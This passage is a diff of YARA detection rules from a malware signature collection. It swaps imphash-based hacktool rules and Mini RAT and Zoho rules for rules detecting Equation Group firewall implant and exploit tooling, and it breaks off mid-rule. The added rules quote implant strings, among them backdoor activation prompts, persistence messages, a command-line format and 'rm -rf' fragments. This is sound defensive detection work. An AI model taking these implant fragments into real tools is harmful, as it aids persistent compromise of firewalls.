+		$x1 = "Implant Version-Specific Values:" fullword ascii
+		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
+		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
+		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and (pe.imphash()=="9ee34731129f4801db97fd66adbfeaa0" or pe.imphash()=="f9e8597c55008e10a8cdc8a0764d5341" or pe.imphash()=="0a76016a514d8ed3124268734a31e2d2" or pe.imphash()=="d3cbd6e8f81da85f6bf0529e69de9251" or pe.imphash()=="d8b32e731e5438c6329455786e51ab4b" or pe.imphash()=="cdf5bbb8693f29ef22aef04d2a161dd7" or pe.imphash()=="890e522b31701e079a367b89393329e6" or pe.imphash()=="bf5a4aa99e5b160f8521cadd6bfe73b8" or pe.imphash()=="646167cce332c1c252cdcb1839e0cf48" or pe.imphash()=="9f4693fc0c511135129493f2161d1e86" or pe.imphash()=="b4c6fff030479aa3b12625be67bf4914") and not 1 of ($fp*)
+		( uint16(0)==0x457f and filesize <2000KB and 1 of ($x*)) or (3 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_Imphashes_Aug22_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Implants_Gen4 : FILE
 {
 	meta:
-		description = "Detects different hacktools based on their imphash"
-		author = "Florian Roth"
-		id = "e1d4dde6-16ad-5495-b3a7-01a86c830761"
-		date = "2022-08-17"
-		modified = "2023-03-21"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_imphash_detection.yar#L93-L192"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e76701b889138f9635cfe3a2f08710db3a6f0a3c3a15faa705ff0904d0566a1f"
-		score = 80
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8b2061f0-862d-51de-a7d0-7a36d3e71d61"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1030-L1051"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3bfcef33e9a0a1753fd21458ee3173284f98942d30a496c5183c79a7df960208"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+
+	strings:
+		$s1 = "Command has not yet been coded" fullword ascii
+		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
+		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
+		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
+		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (pe.imphash()=="bcca3c247b619dcd13c8cdff5f123932" or pe.imphash()=="3a19059bd7688cb88e70005f18efc439" or pe.imphash()=="bf6223a49e45d99094406777eb6004ba" or pe.imphash()=="0c106686a31bfe2ba931ae1cf6e9dbc6" or pe.imphash()=="0d1447d4b3259b3c2a1d4cfb7ece13c3" or pe.imphash()=="1b0369a1e06271833f78ffa70ffb4eaf" or pe.imphash()=="4c1b52a19748428e51b14c278d0f58e3" or pe.imphash()=="4d927a711f77d62cebd4f322cb57ec6f" or pe.imphash()=="66ee036df5fc1004d9ed5e9a94a1086a" or pe.imphash()=="672b13f4a0b6f27d29065123fe882dfc" or pe.imphash()=="6bbd59cea665c4afcc2814c1327ec91f" or pe.imphash()=="725bb81dc24214f6ecacc0cfb36ad30d" or pe.imphash()=="9528a0e91e28fbb88ad433feabca2456" or pe.imphash()=="9da6d5d77be11712527dcab86df449a3" or pe.imphash()=="a6e01bc1ab89f8d91d9eab72032aae88" or pe.imphash()=="b24c5eddaea4fe50c6a96a2a133521e4" or pe.imphash()=="d21bbc50dcc169d7b4d0f01962793154" or pe.imphash()=="fcc251cceae90d22c392215cc9a2d5d6" or pe.imphash()=="23867a89c2b8fc733be6cf5ef902f2d1" or pe.imphash()=="a37ff327f8d48e8a4d2f757e1b6e70bc" or pe.imphash()=="f9a28c458284584a93b14216308d31bd" or pe.imphash()=="6118619783fc175bc7ebecff0769b46e" or pe.imphash()=="959a83047e80ab68b368fdb3f4c6e4ea" or pe.imphash()=="563233bfa169acc7892451f71ad5850a" or pe.imphash()=="87575cb7a0e0700eb37f2e3668671a08" or pe.imphash()=="13f08707f759af6003837a150a371ba1" or pe.imphash()=="1781f06048a7e58b323f0b9259be798b" or pe.imphash()=="233f85f2d4bc9d6521a6caae11a1e7f5" or pe.imphash()=="24af2584cbf4d60bbe5c6d1b31b3be6d" or pe.imphash()=="632969ddf6dbf4e0f53424b75e4b91f2" or pe.imphash()=="713c29b396b907ed71a72482759ed757" or pe.imphash()=="749a7bb1f0b4c4455949c0b2bf7f9e9f" or pe.imphash()=="8628b2608957a6b0c6330ac3de28ce2e" or pe.imphash()=="8b114550386e31895dfab371e741123d" or pe.imphash()=="94cb940a1a6b65bed4d5a8f849ce9793" or pe.imphash()=="9d68781980370e00e0bd939ee5e6c141" or pe.imphash()=="b18a1401ff8f444056d29450fbc0a6ce" or pe.imphash()=="cb567f9498452721d77a451374955f5f" or pe.imphash()=="730073214094cd328547bf1f72289752" or pe.imphash()=="17b461a082950fc6332228572138b80c" or pe.imphash()=="dc25ee78e2ef4d36faa0badf1e7461c9" or pe.imphash()=="819b19d53ca6736448f9325a85736792" or pe.imphash()=="829da329ce140d873b4a8bde2cbfaa7e" or pe.imphash()=="c547f2e66061a8dffb6f5a3ff63c0a74" or pe.imphash()=="0588081ab0e63ba785938467e1b10cca" or pe.imphash()=="0d9ec08bac6c07d9987dfd0f1506587c" or pe.imphash()=="bc129092b71c89b4d4c8cdf8ea590b29" or pe.imphash()=="4da924cf622d039d58bce71cdf05d242" or pe.imphash()=="e7a3a5c377e2d29324093377d7db1c66" or pe.imphash()=="9a9dbec5c62f0380b4fa5fd31deffedf" or pe.imphash()=="af8a3976ad71e5d5fdfb67ddb8dadfce" or pe.imphash()=="0c477898bbf137bbd6f2a54e3b805ff4" or pe.imphash()=="0ca9f02b537bcea20d4ea5eb1a9fe338" or pe.imphash()=="3ab3655e5a14d4eefc547f4781bf7f9e" or pe.imphash()=="e6f9d5152da699934b30daab206471f6" or pe.imphash()=="3ad59991ccf1d67339b319b15a41b35d" or pe.imphash()=="ffdd59e0318b85a3e480874d9796d872" or pe.imphash()=="0cf479628d7cc1ea25ec7998a92f5051" or pe.imphash()=="07a2d4dcbd6cb2c6a45e6b101f0b6d51" or pe.imphash()=="d6d0f80386e1380d05cb78e871bc72b1" or pe.imphash()=="38d9e015591bbfd4929e0d0f47fa0055" or pe.imphash()=="0e2216679ca6e1094d63322e3412d650" or pe.imphash()=="ada161bf41b8e5e9132858cb54cab5fb" or pe.imphash()=="2a1bc4913cd5ecb0434df07cb675b798" or pe.imphash()=="11083e75553baae21dc89ce8f9a195e4" or pe.imphash()=="a23d29c9e566f2fa8ffbb79267f5df80" or pe.imphash()=="4a07f944a83e8a7c2525efa35dd30e2f" or pe.imphash()=="767637c23bb42cd5d7397cf58b0be688" or pe.imphash()=="14c4e4c72ba075e9069ee67f39188ad8" or pe.imphash()=="3c782813d4afce07bbfc5a9772acdbdc" or pe.imphash()=="7d010c6bb6a3726f327f7e239166d127" or pe.imphash()=="89159ba4dd04e4ce5559f132a9964eb3" or pe.imphash()=="6f33f4a5fc42b8cec7314947bd13f30f" or pe.imphash()=="5834ed4291bdeb928270428ebbaf7604" or pe.imphash()=="5a8a8a43f25485e7ee1b201edcbc7a38" or pe.imphash()=="dc7d30b90b2d8abf664fbed2b1b59894" or pe.imphash()=="41923ea1f824fe63ea5beb84db7a3e74" or pe.imphash()=="3de09703c8e79ed2ca3f01074719906b" or pe.imphash()=="a53a02b997935fd8eedcb5f7abab9b9f" or pe.imphash()=="e96a73c7bf33a464c510ede582318bf2" or pe.imphash()=="32089b8851bbf8bc2d014e9f37288c83" or pe.imphash()=="09D278F9DE118EF09163C6140255C690" or pe.imphash()=="03866661686829d806989e2fc5a72606" or pe.imphash()=="e57401fbdadcd4571ff385ab82bd5d6d" or pe.imphash()=="84B763C45C0E4A3E7CA5548C710DB4EE" or pe.imphash()=="19584675d94829987952432e018d5056" or pe.imphash()=="330768a4f172e10acb6287b87289d83b")
+		( uint16(0)==0x457f and filesize <3000KB and 3 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_Imphash_Mar23_2 : HIGHVOL FILE
+rule SIGNATURE_BASE_EQGRP_Implants_Gen3 : FILE
 {
 	meta:
-		description = "Detects imphash often found in malware samples (Zero hits with with search for 'imphash:x p:0' on Virustotal)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b739d540-5d9f-53b3-9e42-a514dc972e8d"
-		date = "2023-03-23"
-		modified = "2023-11-25"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_imphash_detection.yar#L194-L295"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12bf2795f4a140adbaa0af6ad4b2508d398d8ba69e9dadb155f800b10f7458c4"
-		hash = "14ec56489fbcc3c7f1ef9a4d4a80ff302a5e233cdc4429a29c635a88fb1278d6"
-		hash = "13731912823d6ce01c28a8d7d7f961505f461620bb35adbb409d4954ba1f4b8e"
-		hash = "15e59cc5d7b83e63d40dbfd8406701cb4decd31353f68fda47238d073c87e4ea"
-		hash = "13e5bb40be20b1a0bc28081ce7798f339c28c9652cb37b538c29872dfd0cd51d"
-		hash = "16f963afdb30b38ba4b8b98ce56a37626e9fd87de9eba5f9903d2ba7f8a77788"
-		hash = "168f22d02304ce66be88d2370c8fa7c7d9aa2ccf80f8e376edfeabfc9b96c73d"
-		hash = "9e7701450dbcbd35083e34df935bd77a95735c4b441e0fc8eacd543a621f2fa5"
-		hash = "51205c100702b21cce600692d69f3b108f49228e53f36678dd8b39434406526b"
-		hash = "c9b48e8b0e7c6fa75886554659bc0529e454d84b29daa07bd4323aca9a33f607"
-		hash = "ba5c06703bd3c093afa89e45d86aaf6c151fbaef44ebf3b65c97f3b376a88c72"
-		hash = "7281afc138e8e898aee16d415cd02a29dc5dedda5b11c23934aac0ebd208373b"
-		hash = "10a091b2468a8286f7b1a580d8923aef48856b43014e849035f05c4dbdc0a413"
-		hash = "56c04e76427bd982be83799d0a435732193d7bf5a70cdeba5eb63eaf0d4ebb77"
-		hash = "0aa8b7eddc4792a82f247702442c04e50173bd7712a4b596545916480942853b"
-		hash = "627f043ad875c182682149653363b7f856dd618d169821b18df7bc9cdf6269d8"
-		hash = "e1df460fd99c4f901859f3a8ec23b041ba9f4b79897dec349a96d6a27fb3e335"
-		hash = "f10ecbd8031ce85b782c59682ff32301a65e0975687977688771f1057fb063d1"
-		hash = "1bc7b8932b5b077b359c79e7ca664938b7a487a4e7e6b99d6647d6803bc677c5"
-		hash = "01f81029a5e93cbfecfbc81cbd4a2ffd1bb1b6159e2a144a21e58caf8dab9661"
-		hash = "cd33a71f71e2971667bacb0da71f2d36073777993b9581ec90bbf042162c3530"
-		hash = "4aab991149cb2dc8c0c0a323af3acbbd73d6a22177910ef3af92b05ae7c9ae7b"
-		hash = "df05fa3983c9e623388231d366dba4e435575ca53421d3f0bcb0fb346dd971d4"
-		hash = "14de3584fe7108386f7637c2bd343f30341c0fa2102d52bb35ee772b5b7672f0"
-		hash = "c4d9ad5cffd9aa13dfe3acbf0905810e28ff96d231541d7e209327ca5b0b24fe"
-		hash = "5e0bed2269dc34c6cc2db30b0a53282e6debb85b3c90a857d1be4cfd06312211"
-		hash = "3aa13e72382a2d7da592273b8c18a42106b65db528e16b6066646812e81555c4"
-		hash = "244c4a930e3644ffb96bf3ab33e8c8c0f94ed9fe6a8b2fc45fc8e9b6471ef3a8"
-		hash = "f00848b8edeeb5a668bf7e89e3f33f438b2f5d5cf130596a8ed2531e21be6d81"
-		hash = "5b9348c24ff604e78d70464654e645b90dc695c7e0415959c443fe29cebc3c4e"
-		logic_hash = "c6482cbc01a880ffd3056d28a2fde8f87402b1f85d36075c1f0b50788d469ca3"
-		score = 65
+		description = "EQGRP Toolset Firewall"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ec64bb2b-566b-50b6-a518-222afc88d400"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1053-L1076"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32d4dd0e35ea480199f5b2032145326c3eef73243783c580605a4de6877df982"
+		score = 75
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+
+	strings:
+		$x1 = "incomplete and must be removed manually.)" fullword ascii
+		$s1 = "%s: recv'd an error from the target." fullword ascii
+		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
+		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and (pe.imphash()=="e4290fa6afc89d56616f34ebbd0b1f2c" or pe.imphash()=="8abecba2211e61763c4c9ffcaa13369e" or pe.imphash()=="a64e048b98d051ae6e6b6334f77c95d3" or pe.imphash()=="359d89624a26d1e756c3e9d6782d6eb0" or pe.imphash()=="c2a87fabf96470db507b2e6b43bd92eb" or pe.imphash()=="62ec3dce1eba1b68f6a4511bb09f8c2c" or pe.imphash()=="5662cfcdfd9da29cb429e7528d5af81e" or pe.imphash()=="406c785a6e2c6970c1e8ed62877e197b" or pe.imphash()=="dbf687d6aa2a6cafe4349f7b0821a792" or pe.imphash()=="6dca3e9fb3928bbdb54dbce669943ec8" or pe.imphash()=="f1a539a5b71ad53ac586f053145f08ec" or pe.imphash()=="3a2003ea545fe942681da9e7683ebb58" or pe.imphash()=="a8286b574ff850cd002ea6282d15aa40" or pe.imphash()=="3c8577ca4bab2f95cc6fc73ef1895288" or pe.imphash()=="84706849fa809feaa385711a628be029" or pe.imphash()=="ba23a556ac1d6444f7f76feafd6c8867" or pe.imphash()=="95e6f8741083e0c7d9a63d45e2472360" or pe.imphash()=="774d797db707398fd2ef1979d02634d5" or pe.imphash()=="8c16c795b57934183422be5f6df7d891" or pe.imphash()=="98f67c550a7da65513e63ffd998f6b2e" or pe.imphash()=="e836076a09dba03e4d6faa46dda0fefc" or pe.imphash()=="ff63dc9c65eb25911a9bc535c8f06ad0" or pe.imphash()=="08b67a9663d3a8c9505f3b2561bbdd1c" or pe.imphash()=="135e92fc9902f3140f2e5a51458efdf0" or pe.imphash()=="4753904c40d638a1bc745c65b88291d5" or pe.imphash()=="0f44bf2b3b0b8d5ecae5689ff1d0e90d" or pe.imphash()=="c4c9ecfc26ca516a80b8f6f5b2bdb7e6" or pe.imphash()=="46ad3d954e527f769e37017b3e128039" or pe.imphash()=="802dcac7aab948c19738ba3df9f356d9" or pe.imphash()=="b36a21279375c40e6f4c1ea347f906de" or pe.imphash()=="77a185e903c5527243ef219b003bfd38" or pe.imphash()=="12a30b523ac71a3cbe9145c89400dd7f" or pe.imphash()=="cc40fefa3af5cd00cc28dbd874038a4d" or pe.imphash()=="3d8c26f4cb1782a87c3bb42796fb6b85" or pe.imphash()=="2f4ddcfebbcad3bacadc879747151f6f" or pe.imphash()=="76812f441b0ed9d3cc0748af25d689a3" or pe.imphash()=="9a06f0024c1694774ae97311608bab5b" or pe.imphash()=="481f47bbb2c9c21e108d65f52b04c448" or pe.imphash()=="286870a926664a5129b8b68ed0d4a8eb" or pe.imphash()=="a0db151d55761167d93eba72d3d94b32" or pe.imphash()=="663243fe4d94e1304b265ce4011cd01b" or pe.imphash()=="f24e64014af9015dc25262e5076fe61f" or pe.imphash()=="b7d08302c927428e16a2ad8d18b9d2b7" or pe.imphash()=="352063077f27a851dc2b08e15f08105e" or pe.imphash()=="b0b97d1a91a2730b3daa8bbb2e86b402" or pe.imphash()=="bc96f1c981700752dc2cf9553da99eb6" or pe.imphash()=="f68ddef5f29b66bbd543e947c8743bb0" or pe.imphash()=="6dfbc160505aa2f7205766eaa6fe72a1" or pe.imphash()=="a202429ffe8d8c8b722572cffd5681a7" or pe.imphash()=="342a3708d93b6b819b7b1a768201a747" or pe.imphash()=="cdc00badc7162acde9bb032e793ac137" or pe.imphash()=="be19e18d6a8b41631d40059031a928bb" or pe.imphash()=="0c54f96a844b02689687407de9b6663e" or pe.imphash()=="fa5f28e70130a452b7c0a51db5544ef9" or pe.imphash()=="2e5708ae5fed0403e8117c645fb23e5b" or pe.imphash()=="8d92fa1956a6a631c642190121740197" or pe.imphash()=="dc73a9bd8de0fd640549c85ac4089b87")
+		( uint16(0)==0x457f and filesize <6000KB and 2 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_Imphash_Mar23_3 : FILE
+rule SIGNATURE_BASE_EQGRP_BLIAR_BLIQUER : FILE
 {
 	meta:
-		description = "Detects imphash often found in malware samples (Maximum 0,25% hits with search for 'imphash:x p:0' on Virustotal) = 99,75% hits"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "eb91e700-6478-5085-a393-a7b342c0eb4f"
-		date = "2023-03-23"
-		modified = "2023-07-24"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_imphash_detection.yar#L297-L329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5296cf0eb22fba6e2f68d0c9de9ef7845f330f7c611a0d60007aa87e270c62a"
-		hash = "5a5a5f71c2270cea036cd408cde99f4ebf5e04a751c558650f5cb23279babe6d"
-		hash = "481b0d9759bfd209251eccb1848048ebbe7bd2c87c5914a894a5bffc0d1d67ff"
-		hash = "716ba6ea691d6a391daedf09ae1262f1dc1591df85292bff52ad76611666092d"
-		hash = "800d160736335aafab10503f7263f9af37a15db3e88e41082d50f68d0ad2dabd"
-		hash = "416155124784b3c374137befec9330cd56908e0e32c70312afa16f8220627a52"
-		hash = "21899e226502fe63b066c51d76869c4ec5dbd03570551cea657d1dd5c97e7070"
-		hash = "0461830e811d3831818dac5a67d4df736b4dc2e8fb185da439f9338bdb9f69c3"
-		hash = "773edc71d52361454156dfd802ebaba2bb97421ce9024a7798dcdee3da747112"
-		hash = "fe53b9d820adf3bcddf42976b8af1411e87d9dfd9aa479f12b2db50a5600f348"
-		logic_hash = "f11de8b7f78cdfc79116670409c31745e2803ef8b8e97d08be012f1146b3d816"
-		score = 45
+		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6f83bb11-f789-544e-8dca-c2dc2c845331"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1078-L1111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59b7303dba0a79919d79627697a8724337145cd6d7b5c53cda970bf437162865"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+
+	strings:
+		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
+		$x2 = "There is no implant present on the firewall." fullword ascii
+		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
+		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
+		$x5 = "No reply from persistant back door." fullword ascii
+		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
+		$p1 = "PBD_GetVersion" fullword ascii
+		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
+		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
+		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
+		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
+		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
+		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
+		$s2 = "Could not get hook and jump addresses" fullword ascii
+		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
+		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
+		$s5 = "Invalid implant file" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and (pe.imphash()=="afcdf79be1557326c854b6e20cb900a7" or pe.imphash()=="6ed4f5f04d62b18d96b26d6db7c18840" or pe.imphash()=="fc6683d30d9f25244a50fd5357825e79" or pe.imphash()=="2c5f2513605e48f2d8ea5440a870cb9e" or pe.imphash()=="0b5552dccd9d0a834cea55c0c8fc05be") and pe.number_of_signatures==0
+		( uint16(0)==0x457f and filesize <3000KB and (1 of ($x*) or 1 of ($p*))) or (3 of them )
 }
-rule SIGNATURE_BASE_EXPL_Zoho_RCE_Fix_Lines_Dec21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Sploit : FILE
 {
 	meta:
-		description = "Detects lines in log lines of Zoho products that indicate RCE fixes (silent removal of evidence)"
+		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "633287e3-a377-5b3c-8520-a7790168eff5"
-		date = "2021-12-06"
+		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1467784104930385923"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_zoho_rcef_logs.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e6d9c3364da57c03a5e838f485deefabec2f3ec67d19a9017e564ba702a72d03"
-		score = 65
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1113-L1135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "083f103dee6b209626c4d790dff0e53af757945ded63409b26bbe143c78e30eb"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
 
 	strings:
-		$s1 = "RCEF="
-		$sa1 = "\"attackStatus\"\\:\"active\""
-		$sa2 = "\"attackStatus\":\"active\""
-		$sd1 = "deletedCount"
-		$sd_fp1 = "\"deletedCount\"\\:0"
-		$sd_fp2 = "\"deletedCount\":0"
+		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
+		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
+		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
+		$s4 = "exp.load_vinfo()" fullword ascii
+		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
+		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
+		$s7 = "if self.terminateFlingOnException:" fullword ascii
+		$s8 = "print 'Debug info ','='*40" fullword ascii
 
 	condition:
-		filesize <6MB and $s1 and (1 of ($sa*) or ($sd1 and not 1 of ($sd_fp*)))
+		( uint16(0)==0x2123 and filesize <90KB and 1 of ($s*)) or (4 of them )
 }
-rule SIGNATURE_BASE_Minirat_Gen_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Implants_Gen2 : FILE
 {
 	meta:
-		description = "Detects Mini RAT malware"
+		description = "EQGRP Toolset Firewall"
 		author = "Florian Roth (Nextron Systems)"
-		id = "65d89762-2fd0-5c6a-b706-92d77a03089a"
-		date = "2018-01-22"
+		id = "58b0b51d-d1f8-5ee2-a4af-491c49dd0573"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_darkcaracal.yar#L12-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "53c4ba16ae2c3eb3a6c7371e7fc8b962cfbee5b70abd8267294834eac3e55769"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1137-L1168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3cbe11ae38f5affffab247cdc618d0afb5a0feda6ea4b2f43dd8edb2fbf2b11"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b"
-		hash2 = "b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d"
-		hash3 = "ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2"
-		hash4 = "ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790"
-		hash5 = "675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
 
 	strings:
-		$x1 = "\\Mini rat\\" ascii
-		$x2 = "\\Projects\\ali\\Clever Components v7\\" ascii
+		$x1 = "Modules persistence file written successfully" fullword ascii
+		$x2 = "Modules persistence data successfully removed" fullword ascii
+		$x3 = "No Modules are active on the firewall, nothing to persist" fullword ascii
+		$s1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s " fullword ascii
+		$s2 = "Error while attemping to persist modules:" fullword ascii
+		$s3 = "Error while reading interface info from PIX" fullword ascii
+		$s4 = "LP.c:pixFree - Failed to get response" fullword ascii
+		$s5 = "WARNING: LP Timeout specified (%lu seconds) less than default (%u seconds).  Setting default" fullword ascii
+		$s6 = "Unable to fetch config address for this OS version" fullword ascii
+		$s7 = "LP.c: interface information not available for this session" fullword ascii
+		$s8 = "[%s:%s:%d] ERROR: " fullword ascii
+		$s9 = "extract_fgbg" fullword ascii
 
 	condition:
